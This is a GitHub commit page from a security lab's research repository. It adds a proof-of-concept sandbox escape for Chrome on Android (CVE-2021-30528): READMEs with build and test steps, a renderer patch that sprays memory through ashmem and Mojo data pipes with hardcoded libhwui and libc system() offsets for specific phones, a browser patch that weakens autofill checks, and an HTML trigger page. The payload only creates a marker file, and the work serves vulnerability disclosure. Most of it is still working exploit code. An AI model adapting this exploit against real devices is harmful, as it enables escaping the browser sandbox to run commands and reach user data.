Skip to content

Commit a965cb7

Browse files
authored
Merge pull request #444 from github/chrome_sbx_java
Blog material
2 parents 678b110 + 85c0fc2 commit a965cb7

12 files changed

Lines changed: 802 additions & 0 deletions

File tree

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
## Chrome Sandbox Escape CVE-2021-30528
2+
3+
The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a Chrome bug I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer.
4+
5+
Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories.
6+
7+
To test, follow the instructions for the corresponding versions to build the binary, then install the resulting apks (under `out/<target>/apks`) on the phone using `adb`, then enable the `MojoJS` feature to simulate a compromised renderer:
8+
9+
1. Enable `Enable command line on non-rooted devices` from `chrome://flags`
10+
2. Create a file in `/data/local/tmp/chrome-command-line` in the phone and then add `chrome --enable-blink-features=MojoJS` to the file
11+
3. Force stop Chrome and restart
12+
13+
As explained in the [write up](https://securitylab.github.com/research/chrome_sbx_java), this bug requires a credit card to be stored in the user account. To simulate the behaviour locally, a patch is applied to the browser side code to treat a local card as a remote card. This still requires a credit card to store on the tested device as a payment method. I do not recommend using real card details for this purpose. For testing, the following steps can be used:
14+
15+
1. In the testing version of Chrome, go to `Settings > Payment Methods` and select `Add card`.
16+
2. Enter `4111 1111 1111 1111` as the card number, this should be recognized as a Visa card. (I found this in some code comment and I can only hope that this is not the real card number of some dedicated developer)
17+
18+
Then create a directory to host the `html` files included in this directory, and run `copy_mojo_js_bindings.py` to copy the mojo bindings to the directory and host the files on localhost:
19+
20+
```
21+
python ./copy_mojo_js_bindings.py /path/to/chrome/../out/<target>/gen
22+
python -m SimpleHTTPServer
23+
```
24+
25+
Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url.
26+
27+
If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should succeed most of the time.
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## 64 bit version
2+
3+
The 64 bit version 90.0.4430.91 of Chrome is tested with the following devices:
4+
1. Pixel 3a firmware version RQ1A.210205.004
5+
2. Samsung Galaxy A71 firmware version A715FXXU3BUB5
6+
7+
The offsets included in `arm64_renderer.patch` are with respect to A71. To test Pixel3a, change the A71 specific offsets to the following instead:
8+
```
9+
uint64_t executeOffset = 0x711354;
10+
uint64_t systemOffset = 0x5f278;
11+
```
12+
13+
The `arm64_renderer.patch` is used to simulate a compromised renderer.
14+
15+
The patch `browser.patch` patches the browser to make local testing more convenient. It does the following:
16+
1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device):
17+
18+
```
19+
@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
20+
#if !defined(OS_IOS)
21+
// No need to fetch details if there are no server cards.
22+
if (!ServerCardsAvailable())
23+
- return;
24+
+// return;
25+
26+
```
27+
28+
2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this)
29+
30+
```
31+
@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
32+
return;
33+
}
34+
35+
- context->is_context_secure = !IsFormNonSecure(form);
36+
+// context->is_context_secure = !IsFormNonSecure(form);
37+
+ context->is_context_secure = true;
38+
+
39+
40+
```
41+
42+
These are only for the convenience of local testing and are not a requirement of the vulnerability.
43+
44+
After applying both of these patches, build Chrome version 90.0.4430.91 with the following build config (`args.gn`):
45+
46+
```
47+
target_os = "android"
48+
target_cpu = "arm64"
49+
is_java_debug = false
50+
is_debug = false
51+
symbol_level = 1
52+
blink_symbol_level = 1
53+
```
54+
55+
then follow the instructions in `README.md` of the parent directory to test.
Lines changed: 213 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,213 @@
1+
diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc
2+
index 59204c4d8db3..6c50421a6c78 100644
3+
--- a/third_party/blink/renderer/core/frame/dom_window.cc
4+
+++ b/third_party/blink/renderer/core/frame/dom_window.cc
5+
@@ -43,6 +43,56 @@
6+
#include "third_party/blink/renderer/platform/weborigin/kurl.h"
7+
#include "third_party/blink/renderer/platform/weborigin/security_origin.h"
8+
9+
+
10+
+#include "ui/gfx/geometry/rect_f.h"
11+
+#include "base/strings/utf_string_conversions.h"
12+
+#include "content/public/renderer/render_frame.h"
13+
+#include "content/renderer/render_frame_impl.h"
14+
+#include "content/public/renderer/render_frame_visitor.h"
15+
+#include "content/renderer/frame_owner_properties_converter.h"
16+
+#include "content/renderer/render_frame_proxy.h"
17+
+#include "components/autofill/core/common/mojom/autofill_types.mojom.h"
18+
+#include "components/autofill/content/common/mojom/autofill_agent.mojom.h"
19+
+#include "components/autofill/content/common/mojom/autofill_driver.mojom.h"
20+
+
21+
+#include "components/autofill/core/common/password_generation_util.h"
22+
+#include "components/autofill/core/common/form_data.h"
23+
+#include "components/autofill/core/common/renderer_id.h"
24+
+#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h"
25+
+
26+
+#include "third_party/ashmem/ashmem.h"
27+
+#include <sys/mman.h>
28+
+#include "third_party/blink/renderer/core/mojo/mojo.h"
29+
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h"
30+
+#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h"
31+
+
32+
+#include "base/single_thread_task_runner.h"
33+
+#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h"
34+
+#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h"
35+
+#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h"
36+
+#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h"
37+
+#include "third_party/blink/public/platform/web_url_loader.h"
38+
+#include "third_party/blink/renderer/platform/heap/persistent.h"
39+
+#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h"
40+
+#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h"
41+
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h"
42+
+#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h"
43+
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h"
44+
+#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h"
45+
+#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h"
46+
+#include "third_party/blink/renderer/platform/platform_export.h"
47+
+#include "third_party/blink/renderer/platform/timer.h"
48+
+#include "third_party/blink/renderer/platform/wtf/hash_map.h"
49+
+#include "third_party/blink/renderer/platform/wtf/hash_set.h"
50+
+#include "third_party/blink/renderer/platform/wtf/text/string_hash.h"
51+
+#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
52+
+
53+
+#include "mojo/core/core.h"
54+
+#include "mojo/public/c/system/data_pipe.h"
55+
+
56+
+#include <fstream>
57+
+#include <string>
58+
+
59+
namespace blink {
60+
61+
DOMWindow::DOMWindow(Frame& frame)
62+
@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() {
63+
DCHECK(!frame_);
64+
}
65+
66+
+
67+
+//--------------Spray virtual memory----------------------------
68+
+static uint64_t findLibOffset(const std::string& lib) {
69+
+ std::ifstream file("/proc/self/maps");
70+
+ CHECK(file.is_open()) << "Cannot open /proc/self/maps";
71+
+ std::string line;
72+
+ std::string addr;
73+
+ while (std::getline(file, line)) {
74+
+ if (line.find(lib) != std::string::npos) {
75+
+ LOG(ERROR) << "found "<< lib << line;
76+
+ int pos = line.find("-");
77+
+ std::string addrStr = line.substr(0,pos);
78+
+ uint64_t offset = std::stol(addrStr, nullptr, 16);
79+
+ LOG(ERROR) << addrStr << " : " << offset;
80+
+ return offset;
81+
+ }
82+
+ }
83+
+ CHECK(false) << "Cannot find " << lib << " offset";
84+
+ return 0;
85+
+}
86+
+
87+
+//Same as the heuristics used in javascript.
88+
+static uint64_t computeControlledAddress(uint64_t addr) {
89+
+ uint64_t sprayedAddr = addr - 0x1000000000;
90+
+ uint64_t fillAddr = sprayedAddr/0x100000000;
91+
+ return fillAddr * 0x100000000;
92+
+}
93+
+
94+
+static int mapAndInitializeSharedMem(uint64_t* addr) {
95+
+ size_t pageSize = 0x1000;
96+
+ size_t hugePageSize = 0x8000000;
97+
+ uint64_t libhwuiOffset = findLibOffset("libhwui.so");
98+
+ uint64_t libcOffset = findLibOffset("libc.so");
99+
+
100+
+//A71 specific offsets--------------------
101+
+ uint64_t executeOffset = 0x8ce318;
102+
+ uint64_t systemOffset = 0x60ac8;
103+
+//------------------------------------------
104+
+ int fd = ashmem_create_region("spray_region", hugePageSize);
105+
+ for (size_t i = 0; i < hugePageSize/pageSize; i++) {
106+
+ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize);
107+
+ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i;
108+
+ if (i == 0) *addr = (uint64_t)mapped;
109+
+ memset(mapped, 0x00, pageSize);
110+
+ uint64_t* execute = (uint64_t*)(mapped + 8);
111+
+ *execute = executeOffset + libhwuiOffset;
112+
+ //Fake webpworker
113+
+ uint64_t* hook = (uint64_t*)(mapped + 0x10);
114+
+ *hook = systemOffset + libcOffset;
115+
+ uint64_t controlledAddr = computeControlledAddress(*addr);
116+
+ uint64_t* data = (uint64_t*)(mapped + 0x18);
117+
+ *data = controlledAddr + 0x100;
118+
+ char cmd[] = "touch /data/data/org.chromium.chrome/pwn";
119+
+ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1);
120+
+ }
121+
+ return fd;
122+
+}
123+
+
124+
+static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) {
125+
+ std::vector<mojo::ScopedHandle> handles;
126+
+ for (int i = 0; i < pipeNum; i++) {
127+
+ MojoCreateDataPipeOptions options;
128+
+ options.setElementNumBytes(1);
129+
+ options.setCapacityNumBytes(0x1000);
130+
+ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options);
131+
+ handles.push_back(result->consumer()->TakeHandle());
132+
+ }
133+
+ return handles;
134+
+}
135+
+
136+
+
137+
+static uint64_t sprayVirtualMem() {
138+
+ int dupNum = 200;
139+
+ uint64_t addr = 0;
140+
+ int fd = mapAndInitializeSharedMem(&addr);
141+
+ std::vector<int> fds;
142+
+ for (int i = 0; i < dupNum; i++) {
143+
+ fds.push_back(dup(fd));
144+
+ }
145+
+ std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds);
146+
+ mojo::core::Core* core = mojo::core::Core::Get();
147+
+ for (size_t i = 0; i < handles.size(); i++) {
148+
+ scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value());
149+
+ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get());
150+
+ int offset = 160;
151+
+ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]);
152+
+ uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get());
153+
+ *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000;
154+
+ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16);
155+
+ options->element_num_bytes = 0x8000000;
156+
+ options->capacity_num_bytes = 0x8000000;
157+
+ }
158+
+
159+
+
160+
+ mojo::Remote<mojom::blink::BlobRegistry> blob_registry;
161+
+ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
162+
+ blob_registry.BindNewPipeAndPassReceiver());
163+
+ for (int i = 0; i < dupNum; i++) {
164+
+ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing());
165+
+ }
166+
+ return addr;
167+
+}
168+
+//----------------------------------------------------------------------
169+
+
170+
+//Triggering bug
171+
+static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) {
172+
+ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces();
173+
+ mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver;
174+
+ provider->GetInterface(&autofill_driver);
175+
+ autofill::FormData form;
176+
+ autofill::FormFieldData field;
177+
+ field.autocomplete_attribute = "cc-number";
178+
+ form.fields.push_back(field);
179+
+ form.url = GURL("https://www.aaa.com");
180+
+ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false);
181+
+}
182+
+
183+
+static void RenderFrameHost_test() {
184+
+ struct TriggerVisitor : public content::RenderFrameVisitor {
185+
+ bool Visit(content::RenderFrame* frame) override {
186+
+ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame);
187+
+ return true;
188+
+ }
189+
+ };
190+
+ TriggerVisitor visitor;
191+
+ content::RenderFrame::ForEach(&visitor);
192+
+}
193+
+//----------------------------------------------------------------------
194+
+
195+
v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate,
196+
v8::Local<v8::Object> creation_context) {
197+
// TODO(yukishiino): Get understanding of why it's possible to initialize
198+
@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate,
199+
const String& target_origin,
200+
HeapVector<ScriptValue>& transfer,
201+
ExceptionState& exception_state) {
202+
+ if (target_origin == "trigger") {
203+
+ RenderFrameHost_test();
204+
+ return;
205+
+ }
206+
+ if (target_origin == "spray") {
207+
+ uint64_t addr = sprayVirtualMem();
208+
+ exception_state.ThrowTypeError(String::Number(addr));
209+
+ return;
210+
+ }
211+
WindowPostMessageOptions* options = WindowPostMessageOptions::Create();
212+
options->setTargetOrigin(target_origin);
213+
if (!transfer.IsEmpty())
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc
2+
index 07b62e25c1ff..d5496277f632 100644
3+
--- a/components/autofill/core/browser/autofill_manager.cc
4+
+++ b/components/autofill/core/browser/autofill_manager.cc
5+
@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions(
6+
return;
7+
}
8+
9+
- context->is_context_secure = !IsFormNonSecure(form);
10+
+// context->is_context_secure = !IsFormNonSecure(form);
11+
+ context->is_context_secure = true;
12+
+
13+
14+
// TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()?
15+
// We skip populating autofill data, but might generate warnings and or
16+
diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc
17+
index 560f30b57c88..6b5715949ffd 100644
18+
--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc
19+
+++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc
20+
@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() {
21+
#if !defined(OS_IOS)
22+
// No need to fetch details if there are no server cards.
23+
if (!ServerCardsAvailable())
24+
- return;
25+
+// return;
26+
27+
// Do not make an unnecessary preflight call unless signaled.
28+
if (!can_fetch_unmask_details_.IsSignaled())
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
<html>
2+
<head>
3+
4+
<script>
5+
function trigger() {
6+
postMessage("trigger", "trigger");
7+
parent.removeIframe('trigger');
8+
}
9+
</script>
10+
</head>
11+
12+
<body onload="trigger()"></body>
13+
14+
</html>

0 commit comments

Comments
 (0)